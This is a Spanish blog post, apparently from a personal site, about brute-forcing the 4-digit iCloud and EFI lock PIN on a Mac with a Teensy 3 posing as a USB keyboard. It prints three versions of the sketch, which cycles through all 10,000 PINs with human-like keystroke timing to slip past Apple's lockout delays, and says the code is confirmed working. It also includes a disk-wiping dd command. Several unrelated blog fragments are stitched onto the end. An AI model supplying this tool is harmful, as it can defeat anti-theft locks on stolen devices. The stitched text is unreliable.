Recientemente escribí sobre como llevar a cabo un ataque de fuerza
bruta contra el bloqueo del EFI de una Mac y aunque al principio no
logre lo que quería fue solo cuestión de horas para que alguien revisara
mi código y se diera cuenta del bug que lo afectaba. Hoy en día el
código funcional al 100% y ya se han desbloqueado varias Mac usando este
procedimiento.
Cuando una computadora Apple es bloqueada remotamente desde un
dispositivo iOS esta recibe un PIN numérico de 4 dígitos a través del
iCloud. El bloqueo es tanto a nivel de OS como de EFI (su BIOS). El
articulo que comentaba anterior mente se enfoca en el bloqueo del EFI
mientras que este se enfocara en el del OS también conocido como PIN de
iCloud.
A la Izquierda (Logo de Apple) se puede ver la pantalla de iCloud y a la derecha (con el Candado) la del EFI.
Tras un poco de ensayo y error y con ayuda de la comunidad de
MacRumors logre modificar el Sketch de la Teensy 3 para que pudiese
atacar PIN del iCloud, aquí les dejo el código:
#include <usb_keyboard.h>// This code is licensed under Apache 2.0 License// http://www.apache.org/licenses/LICENSE-2.0.txt// Limitation of Liability. In no event and under no legal theory,// whether in tort (including negligence), contract, or otherwise,// unless required by applicable law (such as deliberate and grossly// negligent acts) or agreed to in writing, shall any Contributor be// liable to You for damages, including any direct, indirect, special,// incidental, or consequential damages of any character arising as a// result of this License or out of the use or inability to use the// Work (including but not limited to damages for loss of goodwill,// work stoppage, computer failure or malfunction, or any and all// other commercial damages or losses), even if such Contributor// has been advised of the possibility of such damages.// This code is indented for people who are not able to contact// apple support and I am in no way liable for any damage or// problems this code might cause.constintledPin=13;intcounter=0;//waits for iCouldintfirstloop=0;intsecondloop=0;intthirdloop=0;booleanfirstcompleted=false;booleansecondcompleted=false;intfakecounter=counter;charpin[]="xxxx";voidsetup(){pinMode(ledPin,OUTPUT);delay(10000);digitalWrite(ledPin,LOW);}voidloop(){keyboard_modifier_keys=0;//lets wait 1minute and 1 secondif(firstloop>=5){delay(61000);firstcompleted=true;digitalWrite(ledPin,LOW);}elseif((firstloop<5)&&(firstcompleted==false)){digitalWrite(ledPin,HIGH);++firstloop;digitalWrite(ledPin,LOW);}//lets wait 5 minutes and one secondif((secondloop>=1)&&(secondcompleted==false)&&(firstcompleted==true)){delay(301000);secondloop=0;secondcompleted=true;digitalWrite(ledPin,LOW);}elseif((secondloop<1)&&(secondcompleted==false)&&(firstcompleted==true)){++secondloop;digitalWrite(ledPin,LOW);}//lets wait 15 minutes and 1 secondif((thirdloop>=1)&&(secondcompleted==true)){delay(901000);thirdloop=0;secondcompleted=false;firstcompleted=false;firstloop=0;secondloop=0;thirdloop=0;digitalWrite(ledPin,LOW);}elseif((thirdloop<1)&&(secondcompleted==true)){++thirdloop;digitalWrite(ledPin,LOW);}//lets get to workif(counter<=9999){delay(100503);digitalWrite(ledPin,LOW);delay(7049);digitalWrite(ledPin,HIGH);sprintf(pin,"%04d",fakecounter);Keyboard.press(pin[0]);delay(450);Keyboard.release(pin[0]);delay(420);Keyboard.press(pin[1]);delay(398);Keyboard.release(pin[1]);delay(510);Keyboard.press(pin[2]);delay(421);Keyboard.release(pin[2]);delay(423);Keyboard.press(pin[3]);delay(430);Keyboard.release(pin[3]);delay(525);Keyboard.press(KEY_ENTER);delay(405);Keyboard.release(KEY_ENTER);digitalWrite(ledPin,LOW);}//reached 4 digit PIN max valueif(counter>9999){for(intblinkies=0;blinkies<8;blinkies++){digitalWrite(ledPin,HIGH);delay(20);digitalWrite(ledPin,LOW);delay(200);}delay(6000);}++counter;fakecounter=counter;}
La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.
Siéntanse libres de clonarlo, hacer forks y contribuir.
Un miembro de la comunidad de MacRumors hizo una versión mas simple y
elegante de este que lo pueden ver aquí: How to: Unlock System Lock PIN
Code.
Supongo que con un botón y poca modificación del código se podrían tener
las dos lógicas dentro de un Teensy para atacar ambos bloqueos sin
necesidad de programarlo.
Actualizado: El código ya fue revisado y esta funcionando, Un usuario me confirmo que lo implemento en su Teensy 3 y le funciono sin
problemas, Si lo que deseas es leer el código que funciona sin la historia detrás de este, solo has click aquí.
Dicen que de los errores se aprende así que quiero compartir este con
ustedes para que se les haga mas fácil.
Un poco de historia en este caso.
Recientemente me llego una MacBook Pro que tras tres semanas de haber sido comprada el vendedor se arrepintió del negocio y decidió bloquearla con una pantalla que decía "devuelveme la laptop y te devuelvo el dinero", justo debajo de este mensaje aparecía un candado y cuatro campos que aceptaban solo caracteres numéricos.
Tanto al comprador como a mi nos pareció de mal gusto el gesto que tuvo el vendedor sobretodo cuando este pidió que se le pagara en efectivo. Así se veía justo después de prender la MacBook pro pero antes de formatear:
Manos a la obra.
Como no conocía que intenciones o de lo que era capaz el vendedor
decidí formatear el disco a bajo nivel, lo monte en otra maquina y le
hice `dd if=/dev/randomof=/dev/sdd` como por unos 30 minutos,
detuve el proceso y volví a armar la MBP.
Mi sorpresa fue que al querer iniciar desde el disco de OSX para
iniciar la re-instalación me salió otra pantalla donde pedía un
password, esta vez no tenia limite de caracteres pero seguía siendo
numérico. Investigando un poco me di cuenta que los procesos de NVRAM no
funcionarían pues esta MBP era muy nueva aunque de todas formas lo
intente y corrobore mi teoría.
En algunos foros sugerían que se intente cada combinación manualmente y
que algunos les había tomado un par de semanas en sus ratos libres,
suena bien, verdad? Pero y si el PIN es el ultimo que intento, cuanto
tiempo me tomaría? y si me salto por equivocación algún numero?
Tengo 10.000 problemas pero automatizar un ataque de fuerza bruta al EFI de una Mac no es uno de ellos.
Sabiendo lo disléxico que soy y lo mucho que prefiero caminar por la
playa y compartir con mi familia decidir automatizar este proceso. La
lógica es simple, un contador del 0 al 9999 que siempre le de formato a
la salida en forma de 4 dígitos, no es cosa del otro mundo.
Que hardware puedo usar? que módulos del kernel en Linux tengo que
cargar para enviar la data desde una maquina a otra como si fuese un
teclado? así se inicia mi búsqueda y mi pronta realización de que
necesitaría un hardware especializado para esto.
La mayoría de nuestras computadoras son incapaces de hacer que su
controladora USB se identifique como un HID (dispositivo de interfaz
humana por sus siglas en ingles) por lo que no podría hacer esto desde
mi computadora usando BASH o Python.
Un dispositivo que podría funcionar es una Arduino pero no sin antes
armar un shield y el costo de este shield (ya teniendo el breadboard o
un protoshield) es de aproximadamente unos $24 sin incluir el envió y
los impuestos. La alternativa es el Teensy que con envió e impuesto me
costo poco menos de $23.
El Teensy 3 termino siendo el hardware mas efectivo para esta tarea,
me hubiese gustado construir el shield requerido para el Arduino pero
sin mucho tiempo libre que se diga este no era opción.
Ordene el Teensy 3 por sugerencia de Paul Stoffregen, el me comentaba
que la versión 3 (la mas reciente) funcionaba con 3 voltios a diferencia
de los anteriores que funcionaban con 5 voltios y que la industria se
estaba moviendo hacia dispositivos de 3 voltios por lo que los de 5
voltios quedarían obsoletos pronto.
El código y el ataque
Dos días después de que lo compre ya estaba en en casa y a los pocos
minutos ya lo tenia corriendo una version mas simple del codigo final.
Esta versión funcionaba sin problemas sobre un editor de texto plano,
el detalle esta en que al intentar contra la MacBook Pro de apple no
funcionaba, en ocasiones enviaba una tecla, otras enviaba 2 pero parecía
nunca enviar el "enter".
Al día siguiente con la mente mas fresca y no después de un turno de
12 horas de trabajo me dispuse a atacar el problema. Alguien en Apple se
gasto su tiempo para hacer esta forma de ataque lo mas difícil posible
para una maquina pero a la vez lo mas amigable para un humano así que me
dispuse a imitar un humano y luego de varios intentos termine con esta
versión del código:
#include <usb_keyboard .h>// This code is licensed under Apache 2.0 License// http://www.apache.org/licenses/LICENSE-2.0.txt// Limitation of Liability. In no event and under no legal theory,// whether in tort (including negligence), contract, or otherwise,// unless required by applicable law (such as deliberate and grossly// negligent acts) or agreed to in writing, shall any Contributor be// liable to You for damages, including any direct, indirect, special,// incidental, or consequential damages of any character arising as a// result of this License or out of the use or inability to use the// Work (including but not limited to damages for loss of goodwill,// work stoppage, computer failure or malfunction, or any and all// other commercial damages or losses), even if such Contributor// has been advised of the possibility of such damages.// This code is indented for people who are not able to contact// apple support and I am in no way liable for any damage or// problems this code might cause.constintledPin=13;intcounter=0;intfakecounter=counter;charpin[]="xxxx";voidsetup(){pinMode(ledPin,OUTPUT);delay(10000);}voidloop(){keyboard_modifier_keys=0;if(counter<=9999){delay(8000);digitalWrite(ledPin,LOW);delay(5500);digitalWrite(ledPin,HIGH);sprintf(pin,"%04d",fakecounter);Keyboard.press(pin[1]);delay(450);Keyboard.release(pin[1]);delay(420);Keyboard.press(pin[1]);delay(398);Keyboard.release(pin[1]);delay(510);Keyboard.press(pin[2]);delay(421);Keyboard.release(pin[2]);delay(423);Keyboard.press(pin[3]);delay(430);Keyboard.release(pin[3]);delay(525);Keyboard.press(KEY_ENTER);delay(305);Keyboard.release(KEY_ENTER);}//reached 4 digit PIN max valueif(counter>9999){for(intblinkies=0;blinkies<8;blinkies++){digitalWrite(ledPin,HIGH);delay(20);digitalWrite(ledPin,LOW);delay(200);}delay(6000);}++counter;fakecounter=counter;}
Como pueden ver evito enviar los cuatro dígitos juntos y asigno distintos valores para esperar entre los eventos de presionar la tecla y soltarla así como también la espera entre dígito y dígito.
Luego de unos minutos de prueba note que la MBP había incrementado el tiempo de espera entre intento e intento así que decidí asignar un valor mas alto desde el inicio.
Como no le instale una pantalla para ver por cual numero iba, decidí hacer un script el cual corro desde mi maquina con Fedora 18 que da un aproximado de que combinación esta usando ahora para el ataque. El script es simple y uso la sumatoria de los mili-segundos que estoy
pasándole a delay() y el mismo valor mas un segundo, asumiendo que mi tiempo de reacción al iniciar el script es mas lento o que el ejecutar el resto de las instrucciones introduzca alguna demora. Este es el script:
while true doclear echodate start=`date +%s -d "Wed Jan 16 17:46:00"`current=`date +%s`echo"Current PIN Between: " | tr '\n'' 'echo"($current - $start) / 19.782" | bc | tr '\n'' 'echo" and " | tr '\n'' 'echo"($current - $start) / 18.782" | bc
sleep 2
done
Así se vería en ejecución en mi monitor, use el tamaño de fuentes grandes para poderlo ver desde lejos sin forzar la vista.
Buenas noticias, Malas noticias.
Lo bueno de automatizar este proceso es que tan solo me tomo cuarenta y ocho horas en enviar las diez mil combinaciones, sin olvidar ninguna y sin repetir ninguna, muchísimo menos que las tres o mas semanas que me hubiese demorado en hacerlo manualmente.
En general estoy contento, no gaste mas de 30 minutos en total programando en un lenguaje con el que no tengo practica y la Teensy funciono sin problemas.
Las malas noticias es que recorrí dos veces todas las combinaciones y no logre entrar. Al parecer al uno cambiar el disco duro, el EFI genera un nuevo password aleatorio de 6 caracteres numéricos o mas lo que en el mejor de los casos me tomaría mínimo 197 días continuos.
Usando un poco de información del vendedor me hubiese gustando intentar distintas combinaciones de su numero de teléfono, fecha de cumpleaños, etc.. pero sin muchos detalles se me es imposible esta opción.
El error estuvo en formatear el disco asumiendo que la restricción estaría solo allí, teniendo hoy en día el disco duro pudiese intentar el ataque de fuerza bruta usando el Teensy al sistema operativo. Mi consejo al comprador fue llevara a corte al vendedor o hablar en una tienda de Apple a ver que respuesta le dan aunque no espero que sea positiva.
Aquí les dejo un vídeo del ataque:
Alternativas un poco mas extremas.
En una conversión con un australiano que es especialista en pentesting macs y atacando el EFI me dice que si consigo una MBP del mismo modelo y le extraigo su firmware pudiese subírselo a la que esta bloqueada usando un programador PIC también me aseguro que el sabe la forma de arrancarla atacando el puerto del thunderbolt pero que desafortunadamente no podía comentar sobre el tema.
Pueden revisar los temas referentes a EFI en su blog via ho.ax y en especial les recomiendo esta presentación para los que tienen curiosidad sobre su trabajo http://ho.ax/posts/2012/10/ruxcon/.
UPDATE: Un bug en el código
Recientemente este articulo fue reseñado en hackaday y varios foros lo
que trajo como consecuencia que mas gente revisara mi código y se
percataran de un error en este (¿ven la importancia del Código
Abierto?).
En las primeras lineas de código estoy enviando pin[1] dos veces y en ningún momento estoy enviando pin[0]. acabo de corregir el código y lo probé en un documento de texto plano, hasta ahora todo parece estar bien, el nuevo código es:
#include <usb_keyboard.h>// This code is licensed under Apache 2.0 License// http://www.apache.org/licenses/LICENSE-2.0.txt// Limitation of Liability. In no event and under no legal theory,// whether in tort (including negligence), contract, or otherwise,// unless required by applicable law (such as deliberate and grossly// negligent acts) or agreed to in writing, shall any Contributor be// liable to You for damages, including any direct, indirect, special,// incidental, or consequential damages of any character arising as a// result of this License or out of the use or inability to use the// Work (including but not limited to damages for loss of goodwill,// work stoppage, computer failure or malfunction, or any and all// other commercial damages or losses), even if such Contributor// has been advised of the possibility of such damages.// This code is indented for people who are not able to contact// apple support and I am in no way liable for any damage or// problems this code might cause.constintledPin=13;// choose the pin for the LEDintcounter=0;intfakecounter=counter;charpin[]="xxxx";voidsetup(){pinMode(ledPin,OUTPUT);// declare LED as outputdelay(10000);}voidloop(){keyboard_modifier_keys=0;if(counter<=9999){delay(8000);digitalWrite(ledPin,LOW);delay(5500);digitalWrite(ledPin,HIGH);sprintf(pin,"%04d",fakecounter);//sending first digitKeyboard.press(pin[0]);delay(450);Keyboard.release(pin[0]);delay(420);//sending second digitKeyboard.press(pin[1]);delay(398);Keyboard.release(pin[1]);delay(510);//sending third digitKeyboard.press(pin[2]);delay(421);Keyboard.release(pin[2]);delay(423);//sending forth digitKeyboard.press(pin[3]);delay(430);Keyboard.release(pin[3]);delay(525);//sending enterKeyboard.press(KEY_ENTER);delay(305);Keyboard.release(KEY_ENTER);}//reached 4 digit PIN max valueif(counter>9999){for(intblinkies=0;blinkies<8;blinkies++){digitalWrite(ledPin,HIGH);delay(20);digitalWrite(ledPin,LOW);delay(200);}delay(6000);}++counter;fakecounter=counter;}
La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.
Siéntanse libres de clonarlo, hacer forks y contribuir.
Voy a contactar al dueño del laptop a ver si me la puede enviar de nuevo
y comenzar el ataque de nuevo, de esto no ser posible me gustaría
escuchar sugerencias de como probarlo.
- Martes 12 de Marzo: Ya he recibido confirmaciones de que este código esta funcionando, Como lo pueden ver en este post de MacRumors:
Tal como lo dice el titulo, sin preámbulos. Alguien me podría donar esa
arduino? tengo tiempo buscando un juguete y creo que ese es el
apropiado. Quien quita que pueda poner a correr orvtech.com y
linuxevolution.org en un miniclusters de arduinos.
[caption id="attachment_167" align="aligncenter" width="473"
caption="Make esta vendiendo este combo por un monto muy barato"][/caption]
UPDATE: Debido a mi ultimo inconveniente con paypal, no puedo
recibir donaciones monetarias por esa vía. Cualquier ayuda, colaboración
es bienvenida. Puedes colaborar haciendo click en mis patrocinantes o
donar el monto que quieras a travez de google checkout.
Luego de cuatro años trabajando en una multi-nacional como un consultor
de IT a nivel de software para negocios (banca, Seguros, servicios...),
Ramiro Pareja decidió ya era momento de cambiar de profesión y
orientarse hacia la Ingeniería Electrónica.
[gallery link="file" order="DESC"]
El escenario es difícil, las agencias de empleo reciben cientos de
currículum al día de gente que esta aplicando para la misma posición.
Con esta avalancha de resumes es imposible que hagan un análisis de
todos los candidatos y por ende el primer filtro es la presentación. Si
tu currículum no causa una buena impresión es automáticamente descartado
y el próximo currículum sera analizado. Es aquí cuando Ramiro decide
diseñar su propia tarjeta de presentación para adjuntarlas a su
currículum.
Esta tarjeta para poder ser llamativa debe cumplir con los siguientes
requerimientos:
Tener su información de contacto (gracias Capitán Obvio!).
Mostrar profesionalismo.
Servir de ejemplo de sus cualidades de ingeniero.
Servir para algo mas que una tarjeta de presentación, de esta forma
previene que sea descartada en la primera oportunidad.
La Tarjeta.
De entrada queda descartada la idea de usar Open RFID por que pocos
reclutadores sabe de esta tecnologia o tienen un lector para RFID Tags.
Lo mas comun seria usar algo estilo USB.
Una tarjeta del tamaño de una tarjeta de crédito (85.6 × 54 mm, pero mas
gruesa) con dos esquinas perforadas y espacio suficiente para abrir una
'ventana' en el medio y meter un micro controlador soldado. Con la
información de contacto impresa en el frente de la tarjeta y las
esquinas que fueron perforadas pueden estas pueden ser arrancadas de
forma fácil dejando un conector USB para que lo conecten a la
computadora directamente.
La tajerta es reconocida como un dispositivo de almacenamiento
automaticamente ejecuta un autorun.inf con su currículum, carta de
presentación, portafolio y website además de cualquier otro documento.
64 KB de flash y 8KB de RAM que puede ser aumentado a 32MB a tra vez
de un I2C memory.
Hasta 11 I/Os digitales disponibles con cuatro de ellos tolerables a
5 voltios.
Hasta 4 canales analógicos.
Un puerto ICSP para depuración y programasion. los tres pines del
ICSP también pueden ser usados como un GP de I/Os.
Al parecer [joelinux] ha logrado hacer chroot de un stage3 en el Nexus
one. [joelinux] solo siguio las instrucciones de xda-developers solo
que uso el stage3 de gentoo para ARM.
Aun tiene muchos bugs pequeños pero funciona, se pueden compilar
paquetes incluyendo el kernel lo que es una gran ayuda para desarrollar
y portear mas paquetes para el Nexus One.